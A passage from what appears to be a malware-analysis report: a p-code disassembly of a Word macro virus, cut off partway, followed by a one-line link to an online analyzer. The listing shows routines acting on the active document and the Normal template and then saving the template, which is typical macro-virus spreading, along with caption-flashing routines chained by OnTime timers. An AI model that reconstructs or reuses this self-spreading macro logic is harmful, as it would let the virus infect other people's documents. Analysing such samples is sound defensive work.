' 	With 
' Line #88:
' 	MemLdWith ActiveDocument 
' 	ArgsCall Grunge_Clear 0x0001 
' Line #89:
' 	MemLdWith NormalTemplate 
' 	ArgsCall Grunge_Clear 0x0001 
' Line #90:
' 	ArgsCall CallDoc 0x0000 
' Line #91:
' 	ArgsCall CallNormal 0x0000 
' Line #92:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	Not 
' 	Ld ActiveDocument 
' 	MemLd Characters 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	MemLdWith ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #93:
' 	MemLdWith NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #94:
' 	EndWith 
' Line #95:
' 	EndSub 
' Line #96:
' Line #97:
' 	FuncDefn (Sub CapWord(Nm As String, Pan As Integer))
' Line #98:
' 	OnError (Resume Next) 
' Line #99:
' 	LitStr 0x0000 ""
' 	Ld Application 
' 	MemSt Caption 
' Line #100:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Pan 
' 	For 
' Line #101:
' 	StartForVariable 
' 	Ld K 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x03E8 
' 	For 
' Line #102:
' 	StartForVariable 
' 	Ld K 
' 	EndForVariable 
' 	NextVar 
' Line #103:
' 	Ld Nm 
' 	LitDI2 0x0001 
' 	Ld I 
' 	ArgsLd Mid$$ 0x0003 
' 	Ld Application 
' 	MemSt Caption 
' Line #104:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #105:
' 	EndSub 
' Line #106:
' Line #107:
' 	FuncDefn (Sub WordMsg())
' Line #108:
' 	Ld MG2 
' 	Ld MG2 
' 	FnLen 
' 	ArgsCall CapWord 0x0002 
' Line #109:
' 	Ld Now 
' 	LitStr 0x0008 "00:00:06"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	LitStr 0x0005 "IHate"
' 	ParamNamed New 
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #110:
' 	EndSub 
' Line #111:
' Line #112:
' 	FuncDefn (Sub IHate())
' Line #113:
' 	Ld OpWord 
' 	Ld OpWord 
' 	FnLen 
' 	ArgsCall CapWord 0x0002 
' Line #114:
' 	Ld Now 
' 	LitStr 0x0008 "00:00:30"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	LitStr 0x0004 "CMsg"
' 	ParamNamed New 
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #115:
…

Open this report in the interactive analyzer, or submit your own file for analysis.